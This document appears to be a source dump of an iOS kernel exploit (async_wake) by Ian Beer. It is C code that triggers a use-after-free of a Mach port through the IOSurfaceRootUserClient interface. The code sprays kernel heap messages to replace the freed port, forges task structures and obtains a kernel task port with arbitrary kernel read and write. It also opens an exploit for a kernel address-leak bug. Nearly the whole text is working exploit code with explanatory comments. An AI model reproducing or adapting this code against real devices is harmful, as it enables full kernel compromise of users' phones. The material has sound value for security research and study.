92 | mach_port_t user_client = MACH_PORT_NULL;
93 |
94 | // make_dangling will drop an extra reference on port
95 | // this is the actual bug:
96 | void make_dangling(mach_port_t port) {
97 | kern_return_t err;
98 |
99 | uint64_t inputScalar[16];
100 | uint32_t inputScalarCnt = 0;
101 |
102 | char inputStruct[4096];
103 | size_t inputStructCnt = 0x18;
104 |
105 | uint64_t* ivals = (uint64_t*)inputStruct;
106 | ivals[0] = 1;
107 | ivals[1] = 2;
108 | ivals[2] = 3;
109 |
110 | uint64_t outputScalar[16];
111 | uint32_t outputScalarCnt = 0;
112 |
113 | char outputStruct[4096];
114 | size_t outputStructCnt = 0;
115 |
116 | mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
117 |
118 | uint64_t reference[8] = {0};
119 | uint32_t referenceCnt = 1;
120 |
121 | for (int i = 0; i < 2; i++) {
122 | err = IOConnectCallAsyncMethod(
123 | user_client,
124 | 17, // s_set_surface_notify
125 | port,
126 | reference,
127 | referenceCnt,
128 | inputScalar,
129 | inputScalarCnt,
130 | inputStruct,
131 | inputStructCnt,
132 | outputScalar,
133 | &outputScalarCnt,
134 | outputStruct,
135 | &outputStructCnt);
136 |
137 | printf("%x\n", err);
138 | };
139 |
140 | err = IOConnectCallMethod(
141 | user_client,
142 | 18, // s_remove_surface_notify
143 | inputScalar,
144 | inputScalarCnt,
145 | inputStruct,
146 | inputStructCnt,
147 | outputScalar,
148 | &outputScalarCnt,
149 | outputStruct,
150 | &outputStructCnt);
151 |
152 | printf("%x\n", err);
153 | }
154 |
155 | void prepare_user_client() {
156 | kern_return_t err;
157 | io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
158 |
159 | if (service == IO_OBJECT_NULL){
160 | printf(" [-] unable to find service\n");
161 | exit(EXIT_FAILURE);
162 | }
163 |
164 | err = IOServiceOpen(service, mach_task_self(), 0, &user_client);
165 | if (err != KERN_SUCCESS){
166 | printf(" [-] unable to get user client connection\n");
167 | exit(EXIT_FAILURE);
168 | }
169 |
170 |
171 | printf("got user client: 0x%x\n", user_client);
172 | }
173 |
174 | mach_port_t* prepare_ports(int n_ports) {
175 | mach_port_t* ports = malloc(n_ports * sizeof(mach_port_t));
176 | for (int i = 0; i < n_ports; i++) {
177 | kern_return_t err;
178 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ports[i]);
179 | if (err != KERN_SUCCESS) {
180 | printf(" [-] failed to allocate port\n");
181 | exit(EXIT_FAILURE);
182 | }
183 | }
184 | return ports;
185 | }
186 |
187 | void free_ports(mach_port_t* ports, int n_ports) {
188 | for (int i = 0; i < n_ports; i++) {
189 | mach_port_t port = ports[i];
190 | if (port == MACH_PORT_NULL) {
191 | continue;
192 | }
193 |
194 | mach_port_destroy(mach_task_self(), port);
195 | }
196 | }
197 |
198 | struct simple_msg {
199 | mach_msg_header_t hdr;
200 | char buf[0];
201 | };
202 |
203 | mach_port_t send_kalloc_message(uint8_t* replacer_message_body, uint32_t replacer_body_size) {
204 | // allocate a port to send the messages to
205 | mach_port_t q = MACH_PORT_NULL;
206 | kern_return_t err;
207 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
208 | if (err != KERN_SUCCESS) {
209 | printf(" [-] failed to allocate port\n");
210 | exit(EXIT_FAILURE);
211 | }
212 |
213 | mach_port_limits_t limits = {0};
214 | limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;
215 | err = mach_port_set_attributes(mach_task_self(),
216 | q,
217 | MACH_PORT_LIMITS_INFO,
218 | (mach_port_info_t)&limits,
219 | MACH_PORT_LIMITS_INFO_COUNT);
220 | if (err != KERN_SUCCESS) {
221 | printf(" [-] failed to increase queue limit\n");
222 | exit(EXIT_FAILURE);
223 | }
224 |
225 |
226 | mach_msg_size_t msg_size = sizeof(struct simple_msg) + replacer_body_size;
227 | struct simple_msg* msg = malloc(msg_size);
228 | memset(msg, 0, sizeof(struct simple_msg));
229 | memcpy(&msg->buf[0], replacer_message_body, replacer_body_size);
230 |
231 | for (int i = 0; i < 256; i++) { // was MACH_PORT_QLIMIT_LARGE
232 | msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
233 | msg->hdr.msgh_size = msg_size;
234 | msg->hdr.msgh_remote_port = q;
235 | msg->hdr.msgh_local_port = MACH_PORT_NULL;
236 | msg->hdr.msgh_id = 0x41414142;
237 |
238 | err = mach_msg(&msg->hdr,
239 | MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
240 | msg_size,
241 | 0,
242 | MACH_PORT_NULL,
243 | MACH_MSG_TIMEOUT_NONE,
244 | MACH_PORT_NULL);
245 |
246 | if (err != KERN_SUCCESS) {
247 | printf(" [-] failed to send message %x (%d): %s\n", err, i, mach_error_string(err));
248 | exit(EXIT_FAILURE);
249 | }
250 | }
251 |
252 | return q;
253 | }
254 |
255 | /*
256 | for the given mach message size, how big will the ipc_kmsg structure be?
257 |
258 | This is defined in ipc_kmsg_alloc, and it's quite complicated to work it out!
259 |
260 | The size is overallocated so that if the message was sent from a 32-bit process
261 | they can expand out the 32-bit ool descriptors to the kernel's 64-bit ones, which
262 | means that for each descriptor they would need an extra 4 bytes of space for the
263 | larger pointer. Except at this point they have no idea what's in the message
264 | so they assume the worst case for all messages. This leads to approximately a 30%
265 | overhead in the allocation size.
266 |
267 | The allocated size also contains space for the maximum trailer plus the ipc_kmsg header.
268 |
269 | When the message is actually written into this buffer it's aligned to the end
270 | */
271 | int message_size_for_kalloc_size(int kalloc_size) {
272 | return ((3*kalloc_size)/4) - 0x74;
273 | }
274 |
275 |
276 | /*
277 | build a fake task port object to get an arbitrary read
278 |
279 | I am basing this on the techniques used in Yalu 10.2 released by
280 | @qwertyoruiopz and @marcograss (and documented by Johnathan Levin
281 | in *OS Internals Volume III)
282 |
283 | There are a few difference here. We have a kernel memory disclosure bug so
284 | we know the address the dangling port pointer points to. This means we don't need
285 | to point the task to userspace to get a "what+where" primitive since we can just
286 | put whatever recursive structure we require in the object which will replace
287 | the free'd port.
288 |
289 | We can also leverage the fact that we have a dangling mach port pointer
290 | to also write to a small area of the dangling port (via mach_port_set_context)
291 |
292 | If we build the replacement object (with the fake struct task)
293 | correctly we can set it up such that by calling mach_port_set_context we can control
294 | where the arbitrary read will read from.
295 |
296 | this same method is used again a second time once the arbitrary read works so that the vm_map
297 | and receiver can be set correctly turning this into a fake kernel task port.
298 | */
299 |
300 | uint32_t IO_BITS_ACTIVE = 0x80000000;
301 | uint32_t IKOT_TASK = 2;
302 | uint32_t IKOT_NONE = 0;
303 |
304 | uint64_t second_port_initial_context = 0x1024204110244201;
305 |
306 | uint8_t* build_message_payload(uint64_t dangling_port_address, uint32_t message_body_size, uint32_t message_body_offset, uint64_t vm_map, uint64_t receiver, uint64_t** context_ptr) {
307 | uint8_t* body = malloc(message_body_size);
308 | memset(body, 0, message_body_size);
309 |
310 | uint32_t port_page_offset = dangling_port_address & 0xfff;
311 |
312 | // structure required for the first fake port:
313 | uint8_t* fake_port = body + (port_page_offset - message_body_offset);
314 |
315 |
316 | *(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS)) = IO_BITS_ACTIVE | IKOT_TASK;
317 | *(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES)) = 0xf00d; // leak references
318 | *(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS)) = 0xf00d; // leak srights
319 | *(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER)) = receiver;
320 | *(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT)) = 0x123456789abcdef;
321 |
322 | *context_ptr = (uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT));
323 |
324 |
325 | // set the kobject pointer such that task->bsd_info reads from ip_context:
326 | int fake_task_offset = koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT) - koffset(KSTRUCT_OFFSET_TASK_BSD_INFO);
327 |
328 | uint64_t fake_task_address = dangling_port_address + fake_task_offset;
329 | *(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)) = fake_task_address;
330 |
331 |
332 | // when we looked for a port to make dangling we made sure it was correctly positioned on the page such that when we set the fake task
333 | // pointer up there it's actually all in the buffer so we can also set the reference count to leak it, let's double check that!
334 |
335 | if (fake_port + fake_task_offset < body) {
336 | printf("the maths is wrong somewhere, fake task doesn't fit in message\n");
337 | sleep(10);
338 | exit(EXIT_FAILURE);
339 | }
340 |
341 | uint8_t* fake_task = fake_port + fake_task_offset;
342 |
343 | // set the ref_count field of the fake task:
344 | *(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)) = 0xd00d; // leak references
345 |
346 | // make sure the task is active
347 | *(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_ACTIVE)) = 1;
348 |
349 | // set the vm_map of the fake task:
350 | *(uint64_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map;
351 |
352 | // set the task lock type of the fake task's lock:
353 | *(uint8_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22;
354 | return body;
355 | }
356 |
357 |
358 | /*
359 | * the first tpf0 we get still hangs of the dangling port and is backed by a type-confused ipc_kmsg buffer
360 | *
361 | * use that tfp0 to build a safer one such that we can safely free everything this process created and exit
362 | * without leaking memory
363 | */
364 | mach_port_t build_safe_fake_tfp0(uint64_t vm_map, uint64_t space) {
365 | kern_return_t err;
366 |
367 | mach_port_t tfp0 = MACH_PORT_NULL;
368 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &tfp0);
369 | if (err != KERN_SUCCESS) {
370 | printf("unable to allocate port\n");
371 | }
372 |
373 | // build a fake struct task for the kernel task:
374 | //uint64_t fake_kernel_task_kaddr = kmem_alloc_wired(0x4000);
375 | uint64_t fake_kernel_task_kaddr = early_kalloc(0x1000);
376 | printf("fake_kernel_task_kaddr: %llx\n", fake_kernel_task_kaddr);
377 |
378 |
379 | void* fake_kernel_task = malloc(0x1000);
380 | memset(fake_kernel_task, 0, 0x1000);
381 | *(uint32_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)) = 0xd00d; // leak references
382 | *(uint32_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_ACTIVE)) = 1;
383 | *(uint64_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map;
384 | *(uint8_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22;
385 | kmemcpy(fake_kernel_task_kaddr, (uint64_t) fake_kernel_task, 0x1000);
386 | free(fake_kernel_task);
387 |
388 | uint32_t fake_task_refs = rk32(fake_kernel_task_kaddr + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT));
389 | printf("read fake_task_refs: %x\n", fake_task_refs);
390 | if (fake_task_refs != 0xd00d) {
391 | printf("read back value didn't match...\n");
392 | }
393 |
394 | // now make the changes to the port object to make it a task port:
395 | uint64_t port_kaddr = find_port_address(tfp0, MACH_MSG_TYPE_MAKE_SEND);
396 |
397 | wk32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_BITS_ACTIVE | IKOT_TASK);
398 | wk32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES), 0xf00d);
399 | wk32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS), 0xf00d);
400 | wk64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), space);
401 | wk64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), fake_kernel_task_kaddr);
402 |
403 | // swap our receive right for a send right:
404 | uint64_t task_port_addr = task_self_addr();
405 | uint64_t task_addr = rk64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
406 | uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
407 | uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
408 |
409 | uint32_t port_index = tfp0 >> 8;
410 | const int sizeof_ipc_entry_t = 0x18;
411 | uint32_t bits = rk32(is_table + (port_index * sizeof_ipc_entry_t) + 8); // 8 = offset of ie_bits in struct ipc_entry
412 |
413 | #define IE_BITS_SEND (1<<16)
414 | #define IE_BITS_RECEIVE (1<<17)
415 |
416 | bits &= (~IE_BITS_RECEIVE);
417 | bits |= IE_BITS_SEND;
418 |
419 | wk32(is_table + (port_index * sizeof_ipc_entry_t) + 8, bits);
420 |
421 | printf("about to test new tfp0\n");
422 |
423 | vm_offset_t data_out = 0;
424 | mach_msg_type_number_t out_size = 0;
425 | err = mach_vm_read(tfp0, vm_map, 0x40, &data_out, &out_size);
426 | if (err != KERN_SUCCESS) {
427 | printf("mach_vm_read failed: %x %s\n", err, mach_error_string(err));
428 | sleep(3);
429 | exit(EXIT_FAILURE);
430 | }
431 |
432 | printf("kernel read via second tfp0 port worked?\n");
433 | printf("0x%016llx\n", *(uint64_t*)data_out);
434 | printf("0x%016llx\n", *(uint64_t*)(data_out+8));
435 | printf("0x%016llx\n", *(uint64_t*)(data_out+0x10));
436 | printf("0x%016llx\n", *(uint64_t*)(data_out+0x18));
437 |
438 | return tfp0;
439 | }
440 |
441 |
442 |
443 | // task_self_addr points to the struct ipc_port for our task port
444 | uint64_t find_kernel_vm_map(uint64_t task_self_addr) {
445 | uint64_t struct_task = rk64(task_self_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
446 |
447 | while (struct_task != 0) {
448 | uint64_t bsd_info = rk64(struct_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
449 |
450 | uint32_t pid = rk32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID));
451 |
452 | if (pid == 0) {
453 | uint64_t vm_map = rk64(struct_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP));
454 | return vm_map;
455 | }
456 |
457 | struct_task = rk64(struct_task + koffset(KSTRUCT_OFFSET_TASK_PREV));
458 | }
459 |
460 | printf("unable to find kernel task...\n");
461 | sleep(10);
462 | exit(EXIT_FAILURE);
463 | }
464 |
465 | const uint64_t context_magic = 0x1214161800000000; // a random constant
466 | const uint64_t initial_context = 0x1020304015253545; // another random constant
467 |
468 | mach_port_t get_kernel_memory_rw() {
469 | // offsets are required before we get r/w:
470 | offsets_init();
471 |
472 | kern_return_t err;
473 |
474 | uint32_t MAX_KERNEL_TRAILER_SIZE = 0x44;
475 | uint32_t replacer_body_size = message_size_for_kalloc_size(4096) - sizeof(mach_msg_header_t);
476 | uint32_t message_body_offset = 0x1000 - replacer_body_size - MAX_KERNEL_TRAILER_SIZE;
477 |
478 | printf("message size for kalloc.4096: %d\n", message_size_for_kalloc_size(4096));
479 |
480 | // Creates a user client
481 | prepare_user_client();
482 |
483 |
484 |
485 | uint64_t task_self = task_self_addr();
486 | if (task_self == 0) {
487 | printf("unable to disclose address of our task port\n");
488 | sleep(10);
489 | exit(EXIT_FAILURE);
490 | }
491 | printf("our task port is at 0x%llx\n", task_self);
492 |
493 | int n_pre_ports = 100000; //8000
494 | mach_port_t* pre_ports = prepare_ports(n_pre_ports);
495 |
496 | // make a bunch of smaller allocations in a different zone which can be collected later:
497 | uint32_t smaller_body_size = message_size_for_kalloc_size(1024) - sizeof(mach_msg_header_t);
498 |
499 | uint8_t* smaller_body = malloc(smaller_body_size);
500 | memset(smaller_body, 'C', smaller_body_size);
501 |
502 | const int n_smaller_ports = 600; // 150 MB
503 | mach_port_t smaller_ports[n_smaller_ports];
504 | for (int i = 0; i < n_smaller_ports; i++) {
505 | smaller_ports[i] = send_kalloc_message(smaller_body, smaller_body_size);
506 | }
507 |
508 | // now find a suitable port
509 | // we'll replace the port with an ipc_kmsg buffer containing controlled data, but we don't
510 | // completely control all the data:
511 | // specifically we're targetting kalloc.4096 but the message body will only span
512 | // xxx448 -> xxxfbc so we want to make sure the port we target is within that range
513 | // actually, since we're also putting a fake task struct here and want
514 | // the task's bsd_info pointer to overlap with the ip_context field we need a stricter range
515 |
516 |
517 | int ports_to_test = 100;
518 | int base = n_pre_ports - 1000;
519 |
520 | mach_port_t first_port = MACH_PORT_NULL;
521 | uint64_t first_port_address = 0;
522 |
523 | for (int i = 0; i < ports_to_test; i++) {
524 | mach_port_t candidate_port = pre_ports[base+i];
525 | uint64_t candidate_address = find_port_address(candidate_port, MACH_MSG_TYPE_MAKE_SEND);
526 | uint64_t page_offset = candidate_address & 0xfff;
527 | if (page_offset > 0xa00 && page_offset < 0xe80) { // this range could be wider but there's no need
528 | printf("found target port with suitable allocation page offset: 0x%016llx\n", candidate_address);
529 | pre_ports[base+i] = MACH_PORT_NULL;
530 | first_port = candidate_port;
531 | first_port_address = candidate_address;
532 | break;
533 | }
534 | }
535 |
536 | if (first_port == MACH_PORT_NULL) {
537 | printf("unable to find a candidate port with a suitable page offset\n");
538 | exit(EXIT_FAILURE);
539 | }
540 |
541 |
542 | uint64_t* context_ptr = NULL;
543 | uint8_t* replacer_message_body = build_message_payload(first_port_address, replacer_body_size, message_body_offset, 0, 0, &context_ptr);
544 | printf("replacer_body_size: 0x%x\n", replacer_body_size);
545 | printf("message_body_offset: 0x%x\n", message_body_offset);
546 |
547 | make_dangling(first_port);
548 |
549 | free_ports(pre_ports, n_pre_ports);
550 |
551 | // free the smaller ports, they will get gc'd later:
552 | for (int i = 0; i < n_smaller_ports; i++) {
553 | mach_port_destroy(mach_task_self(), smaller_ports[i]);
554 | }
555 |
556 |
557 | // now try to get that zone collected and reallocated as something controllable (kalloc.4096):
558 |
559 | const int replacer_ports_limit = 200; // about 200 MB
560 | mach_port_t replacer_ports[replacer_ports_limit];
561 | memset(replacer_ports, 0, sizeof(replacer_ports));
562 | uint32_t i;
563 | for (i = 0; i < replacer_ports_limit; i++) {
564 | uint64_t context_val = (context_magic)|i;
565 | *context_ptr = context_val;
566 | replacer_ports[i] = send_kalloc_message(replacer_message_body, replacer_body_size);
567 |
568 | // we want the GC to actually finish, so go slow...
569 | pthread_yield_np();
570 | usleep(10000);
571 | printf("%d\n", i);
572 | }
573 |
574 |
575 | // find out which replacer port it was
576 | mach_port_context_t replacer_port_number = 0;
577 | err = mach_port_get_context(mach_task_self(), first_port, &replacer_port_number);
578 | if (err != KERN_SUCCESS) {
579 | printf("unable to get context: %d %s\n", err, mach_error_string(err));
580 | sleep(3);
581 | exit(EXIT_FAILURE);
582 | }
583 | replacer_port_number &= 0xffffffff;
584 | if (replacer_port_number >= (uint64_t)replacer_ports_limit) {
585 | printf("suspicious context value, something's wrong %lx\n", replacer_port_number);
586 | sleep(3);
587 | exit(EXIT_FAILURE);
588 | }
589 |
590 | printf("got replaced with replacer port %ld\n", replacer_port_number);
591 |
592 | prepare_rk_via_kmem_read_port(first_port);
593 |
594 | uint64_t kernel_vm_map = find_kernel_vm_map(task_self);
595 | printf("found kernel vm_map: 0x%llx\n", kernel_vm_map);
596 |
597 |
598 | // now free first replacer and put a fake kernel task port there
599 | // we need to do this becase the first time around we don't know the address
600 | // of ipc_space_kernel which means we can't fake a port owned by the kernel
601 | free(replacer_message_body);
602 | replacer_message_body = build_message_payload(first_port_address, replacer_body_size, message_body_offset, kernel_vm_map, ipc_space_kernel(), &context_ptr);
603 |
604 | // free the first replacer
605 | mach_port_t replacer_port = replacer_ports[replacer_port_number];
606 | replacer_ports[replacer_port_number] = MACH_PORT_NULL;
607 | mach_port_destroy(mach_task_self(), replacer_port);
608 |
609 | const int n_second_replacer_ports = 10;
610 | mach_port_t second_replacer_ports[n_second_replacer_ports];
611 |
612 | for (int i = 0; i < n_second_replacer_ports; i++) {
613 | *context_ptr = i;
614 | second_replacer_ports[i] = send_kalloc_message(replacer_message_body, replacer_body_size);
615 | }
616 |
617 | // hopefully that worked the second time too!
618 | // check the context:
619 |
620 | replacer_port_number = 0;
621 | err = mach_port_get_context(mach_task_self(), first_port, &replacer_port_number);
622 | if (err != KERN_SUCCESS) {
623 | printf("unable to get context: %d %s\n", err, mach_error_string(err));
624 | sleep(3);
625 | exit(EXIT_FAILURE);
626 | }
627 |
628 | replacer_port_number &= 0xffffffff;
629 | if (replacer_port_number >= (uint64_t)n_second_replacer_ports) {
630 | printf("suspicious context value, something's wrong %lx\n", replacer_port_number);
631 | sleep(3);
632 | exit(EXIT_FAILURE);
633 | }
634 |
635 | printf("second time got replaced with replacer port %ld\n", replacer_port_number);
636 |
637 | // clear up the original replacer ports:
638 | for (int i = 0; i < replacer_ports_limit; i++) {
639 | mach_port_destroy(mach_task_self(), replacer_ports[i]);
640 | }
641 |
642 | // then clear up the second replacer ports (apart from the one in use)
643 | mach_port_t second_replacement_port = second_replacer_ports[replacer_port_number];
644 | second_replacer_ports[replacer_port_number] = MACH_PORT_NULL;
645 | for (int i = 0; i < n_second_replacer_ports; i++) {
646 | mach_port_destroy(mach_task_self(), second_replacer_ports[i]);
647 | }
648 |
649 | printf("will try to read from second port (fake kernel)\n");
650 | // try to read some kernel memory using the second port:
651 | vm_offset_t data_out = 0;
652 | mach_msg_type_number_t out_size = 0;
653 | err = mach_vm_read(first_port, kernel_vm_map, 0x40, &data_out, &out_size);
654 | if (err != KERN_SUCCESS) {
655 | printf("mach_vm_read failed: %x %s\n", err, mach_error_string(err));
656 | sleep(3);
657 | exit(EXIT_FAILURE);
658 | }
659 |
660 | printf("kernel read via fake kernel task port worked?\n");
661 | printf("0x%016llx\n", *(uint64_t*)data_out);
662 | printf("0x%016llx\n", *(uint64_t*)(data_out+8));
663 | printf("0x%016llx\n", *(uint64_t*)(data_out+0x10));
664 | printf("0x%016llx\n", *(uint64_t*)(data_out+0x18));
665 |
666 | prepare_rwk_via_tfp0(first_port);
667 | printf("about to build safer tfp0\n");
668 |
669 | //early_kalloc(0x10000);
670 | //return 0;
671 |
672 | mach_port_t safer_tfp0 = build_safe_fake_tfp0(kernel_vm_map, ipc_space_kernel());
673 | prepare_rwk_via_tfp0(safer_tfp0);
674 |
675 | printf("built safer tfp0\n");
676 | printf("about to clear up\n");
677 |
678 | // can now clean everything up
679 | wk32(first_port_address + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_BITS_ACTIVE | IKOT_NONE);
680 | wk64(first_port_address + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), 0);
681 |
682 | // first port will soon point to freed memory, so neuter it:
683 | uint64_t task_port_addr = task_self_addr();
684 | uint64_t task_addr = rk64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
685 | uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
686 | uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
687 |
688 |
689 | // mach_ports_register(mach_task_self(), &user_client, 1);
690 | // uint64_t IOSurfaceRootUserClient_port = rk64(task_addr + 0x2e8 + 0x8);
691 | // uint64_t IOSurfaceRootUserClient_addr = rk64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
692 | // uint64_t IOSurfaceRootUserClient_vtab = rk64(IOSurfaceRootUserClient_addr);
693 | //
694 | // printf("IOSurfaceRootUserClient_vtab: %016llx\n", IOSurfaceRootUserClient_vtab);
695 | // printf("IOSurfaceRootUserClient_vtab[0]: %016llx\n", rk64(IOSurfaceRootUserClient_vtab));
696 | // printf("starting assembly of IOSurfaceRootUserClient_vtab[0]: %016llx\n", rk64(rk64(IOSurfaceRootUserClient_vtab)));
697 | //
698 | //// Use IDA to find the first occurance of the sequence of bytes from "starting assembly..." (on 6+ it is a9bf7bfd14000fe3 for IDA)
699 | //// If you don't have IDA, use a hex editor to find the offset of "e30f0014fd7bbfa9", then use `joker -a kernel`, and use the address returned as the value (again, not sure if asm is the same)
700 | //#define FIRST_VTAB_LOCATION 0xfffffff0065e19e4
701 | //
702 | // uint64_t slide = rk64(IOSurfaceRootUserClient_vtab)-FIRST_VTAB_LOCATION;
703 | // printf("slide is maybe %016llx\n", slide);
704 | // printf("ooh? %08x\n", rk32(slide + 0xFFFFFFF007004000));
705 | //
706 | // printf("ooh? %s\n", (char*)rk64(slide + 0xFFFFFFF00758C000));
707 |
708 |
709 | uint32_t port_index = first_port >> 8;
710 | const int sizeof_ipc_entry_t = 0x18;
711 |
712 | // remove all rights
713 | wk32(is_table + (port_index * sizeof_ipc_entry_t) + 8, 0);
714 |
715 | // clear the ipc_port port too
716 | wk64(is_table + (port_index * sizeof_ipc_entry_t), 0);
717 |
718 | mach_port_destroy(mach_task_self(), second_replacement_port);
719 | printf("cleared up\n");
720 | return safer_tfp0;
721 | }
722 |
723 | kern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6);
724 |
725 | mach_port_t get_tfp0(mach_port_t*uc) {
726 | mach_port_t tfp0 = get_kernel_memory_rw();
727 | printf("tfp0: %x\n", tfp0);
728 |
729 | *uc = user_client;
730 |
731 | if (probably_have_correct_symbols()) {
732 | printf("have symbols for this device, testing the kernel debugger...\n");
733 | test_kdbg();
734 | }
735 | return tfp0;
736 | }
737 |
--------------------------------------------------------------------------------
/Files/async_wake.h:
--------------------------------------------------------------------------------
1 | #ifndef async_wake_h
2 | #define async_wake_h
3 |
4 | #include
5 |
6 | mach_port_t get_tfp0(mach_port_t*uc);
7 |
8 | #endif /* async_wake_h */
9 |
--------------------------------------------------------------------------------
/Files/early_kalloc.c:
--------------------------------------------------------------------------------
1 | //
2 | // early_kalloc.c
3 | // async_wake_ios
4 | //
5 | // Created by Ian Beer on 12/11/17.
6 | // Copyright © 2017 Ian Beer. All rights reserved.
7 | //
8 |
9 | #include "early_kalloc.h"
10 |
11 | #include
12 | #include
13 | #include
14 |
15 | #include "find_port.h"
16 | #include "kmem.h"
17 | #include "symbols.h"
18 |
19 | extern int message_size_for_kalloc_size(int kalloc_size);
20 |
21 | // get a kalloc allocation before we've got a kcall interface to just call it
22 | uint64_t early_kalloc(int size) {
23 | mach_port_t port = MACH_PORT_NULL;
24 | kern_return_t err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
25 | if (err != KERN_SUCCESS) {
26 | printf("unable to allocate port\n");
27 | }
28 |
29 | uint64_t port_kaddr = find_port_address(port, MACH_MSG_TYPE_MAKE_SEND);
30 |
31 | struct simple_msg {
32 | mach_msg_header_t hdr;
33 | char buf[0];
34 | };
35 |
36 | mach_msg_size_t msg_size = message_size_for_kalloc_size(size);
37 | struct simple_msg* msg = malloc(msg_size);
38 | memset(msg, 0, msg_size);
39 |
40 | msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
41 | msg->hdr.msgh_size = msg_size;
42 | msg->hdr.msgh_remote_port = port;
43 | msg->hdr.msgh_local_port = MACH_PORT_NULL;
44 | msg->hdr.msgh_id = 0x41414142;
45 |
46 | err = mach_msg(&msg->hdr,
47 | MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
48 | msg_size,
49 | 0,
50 | MACH_PORT_NULL,
51 | MACH_MSG_TIMEOUT_NONE,
52 | MACH_PORT_NULL);
53 |
54 | if (err != KERN_SUCCESS) {
55 | printf("early kalloc failed to send message\n");
56 | }
57 |
58 | // find the message buffer:
59 |
60 | uint64_t message_buffer = rk64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE));
61 | printf("message buffer: %llx\n", message_buffer);
62 |
63 | // leak the message buffer:
64 | wk64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE), 0);
65 | wk32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT), 0x50000); // this is two uint16_ts, msg_count and qlimit
66 |
67 |
68 | return message_buffer;
69 | }
70 |
--------------------------------------------------------------------------------
/Files/early_kalloc.h:
--------------------------------------------------------------------------------
1 | #ifndef early_kalloc_h
2 | #define early_kalloc_h
3 |
4 | #include
5 |
6 | uint64_t early_kalloc(int size);
7 |
8 | #endif
9 |
--------------------------------------------------------------------------------
/Files/find_port.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | #include
6 |
7 | #include "find_port.h"
8 | #include "kmem.h"
9 | #include "symbols.h"
10 | #include "kutils.h"
11 |
12 | /*
13 | * this is an exploit for the proc_pidlistuptrs bug (P0 issue 1372)
14 | *
15 | * It will reliably determine the kernel address of a mach port.
16 | * Knowing the addresses of ports makes the other UaF exploit much simpler.
17 | */
18 |
19 | // missing headers
20 | #define KEVENT_FLAG_WORKLOOP 0x400
21 |
22 | typedef uint64_t kqueue_id_t;
23 |
24 | struct kevent_qos_s {
25 | uint64_t ident; /* identifier for this event */
26 | int16_t filter; /* filter for event */
27 | uint16_t flags; /* general flags */
28 | uint32_t qos; /* quality of service when servicing event */
29 | uint64_t udata; /* opaque user data identifier */
30 | uint32_t fflags; /* filter-specific flags */
31 | uint32_t xflags; /* extra filter-specific flags */
32 | int64_t data; /* filter-specific data */
33 | uint64_t ext[4]; /* filter-specific extensions */
